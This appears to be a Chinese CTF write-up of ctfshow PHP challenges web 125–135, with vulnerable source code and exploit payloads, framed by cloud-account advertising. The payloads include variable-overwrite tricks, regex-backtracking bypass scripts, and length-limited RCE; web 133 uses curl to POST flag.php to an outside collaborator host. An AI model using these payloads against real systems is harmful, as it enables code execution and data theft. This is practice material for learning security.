ctfshow php特性[125-135]

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
😋 大家好我是YAy_17是一枚爱好网安的小白自学ing。
本人水平有限欢迎各位大佬指点一起学习 💗 一起进步
此后如竟没有炬火我便是唯一的光。

web 125

<?php
  error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
    eval("$c".";");
    if($fl0g==="flag_give_me"){
      echo $flag;
    }
  }
}
?>

var_dump()被过滤但是还有var_export()函数该函数与var_dump函数功能类似

fun=var_export(get_defined_vars())&CTF_SHOW=1&CTF[SHOW.COM=1

web 126

上面的方法已经不能在使用了这里本地测试这样一段代码

<?php
	$a = $_SERVER['argv'];
	var_dump($a);
//传入a=1+fl0g=flag_give_me
//得到array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me"
?>
之后再利用parse_str()函数将字符串解析到变量中
<?php
parse_str("name=Peter&age=43");
echo $name."<br>";
echo $age;
?>
//输出结果为Peter
//43

最终的payload为

get:a=1+fl0g=flag_give_me
post:fun=parse_str($a[1])&CTF_SHOW=1&CTF[ SHOW.COM =1

web 127

 <?php
   error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼");
}else{
    extract($_GET);
}

if($ctf_show==='ilove36d'){
    echo $flag;
} 

php在解析查询字符串的时候他会做两件事情

  • 将空白符删除掉

  • 将某些字符替换为下划线某些字符包括. [ + _ 以及空格

payloadctf show=ilove36d

web 128

 <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼";
}

function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

本题目考察的是gettext()函数GET方式传递的参数f1会经过check函数的检测不可以包含数字和字母所以gettext函数就无法通过check函数的正则匹配

gettext()函数的扩展---->_() 二者的效果是相同的

需要在php.ini中找到“extension=php_gettext.dll”将前面的分号去掉

测试代码

可见二者的效果是相同的

f2可以使用get_defined_vars()函数此函数返回一个包含所有已定义变量列表的多维数组这些变量包括环境变量、服务器变量和用户定义的变量。

paylaod: f1=_&f2=get_defined_vars

web 129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
} 

stripos()返回某一个字符串在另一个字符串中首次出现的位置第一个位置是0

可以使用php://filter伪协议将过滤器写为ctfshow无效就会被忽略直接输出源码

f=php://filter/ctfshow/resource=flag.php

web 130

<?php
  error_reporting(0);
	highlight_file(__FILE__);
	include("flag.php");
	if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

在题目链接处有一个提示

先分析代码中的if条件

  1. preg_match()其中的‘.’代表着匹配前面的单个字符‘+’代表匹配一次或者是多次‘+’代表重复一次或者多次尽可能的少重复大概就是匹配到*ctfshow*代表任意字符就会返回true

  1. stripos()函数不区分大小写返回子串在字符串中第一次出现的位置位置是从0开始的没有查找到返回FALSEstripos函数对于传递数组情况下返回值为NULLNULL!=FALSE

因此这里就存在两种方法

  1. 直接传参值为ctfshow

  1. 传递数组f[]=1

看大佬的wp还有一种方法就是题目提示的方法利用回溯限制当回溯的次数超过了25w的时候使得preg_match函数返回false从而绕过preg_match函数

import requests
url = 'http://d85be3be-8a0c-43e5-bb50-72ee96382dac.challenge.ctf.show/'
data={
	
    'f':'very'*250000+'ctfshow'
}
r = requests.post(url=url,data=data).text
print(r)

web 131

<?php
  error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
  $f = (String)$_POST['f'];

  if(preg_match('/.+?ctfshow/is', $f)){
    die('bye!');
  }
  if(stripos($f,'36Dctfshow') === FALSE){
    die('bye!!');
  }

  echo $flag;

}

上面的两种方法都不能用了只能用回溯的方法

import requests

url = 'http://560daf29-37f2-4477-ab88-20b8a8976876.challenge.ctf.show/'
data = {
    'f':'very'*250000+'36Dctfshow'
}

r = requests.post(url=url,data=data).text
print(r)

web 132

来到界面尝试点了点链接没什么发现:

尝试访问了robots.txt:

尝试访问成功发现题目所在地

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
} 
  1. 在第二个if中发现存在&&和||要知道&&的优先级是高于||的因此$code === mt_rand(1,0x36D) 如果为假后面的 $password === $flag是不会执行的我们只需要让username=admin即可

  1. 第三个if需要让$code变量为admin所以只需要让code再等于admin即可password任意

web 133

限制长度且无回显的RCE

 <?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
} 

这个题目涨姿势了思路是利用变量覆盖实现rce

?F=`$F`;+sleep 3

上面的payload看似超过了长度6但是执行的时候发现网页好像是延迟了3秒思考一下原理我们通过GET方式传递了F参数值为`$F`;+sleep 3通过substr()函数截取了前面的六位字符然后通过eval()函数进行执行也就是截取的`$F`;+ 通过eval()函数将eval函数中的内容当作是php代码进行执行``符号其实就是shell_exec函数进行命令执行。相当于执行的就是变量F的内容。

那么变量F的内容是什么就是我们传递的`$F`;+sleep 3 最终`$F`----->``$F;+sleep 3成功突破长度的限制

总结来说就是+号后面都是我们可控的

接下来就是通过curl来带出flag.php

curl是一种命令行工具作用是发出网络请求然后获取数据显示在”标准输出“上。

curl -f将flag文件上传到Brup Suite的Collaborator Client类似于DNSLOG其功能要比DNSLOG强大主要体现在可以查看POST请求以及打Cookies

  • 查看网页源码直接在curl命令后面加上网址 例如curl www.baidu.com

  • 如果要把这个网页保存下来可以使用-o参数 例如curl -o 【文件名】 www.baidu.com

  • 发送表单信息

  1. GET方式相对简单只要把数据附在网址后面就行

  1. POST方式必须要把数据和网址分开curl就要用到--data或者是-d参数例如 curl -X POST --data "data=xxx" www.xxx.com (不加-X默认是GET方式 -X可以指定请求方式)

//payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://gk4ubl6jnzii6pmkgmvyvmhxsoyfm4.oastify.com

其中-X 指定请求方式POST

-F 为带文件的形式发送POST请求

xx是上传文件的name值flag.php就是上传的文件

web 134

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 

以GET方式传递_POST[a],就相当于post方式传递参数a

//构造payload
?_POST[key1]=36d&_POST[key2]=36d

查看源码拿到flag

web 135

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的那就来一个加强版吧");
    }
} 

在133通过使用命令行工具curl实现但是在135会发现正则匹配中存在着curl

但是没有过滤nl cp mv等命令

?F=`$F`;+cp flag.php flag.txt
?F=`$F`;+mv flag.php flag.txt
?F=`$F`;+nl f*>flag.txt

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: php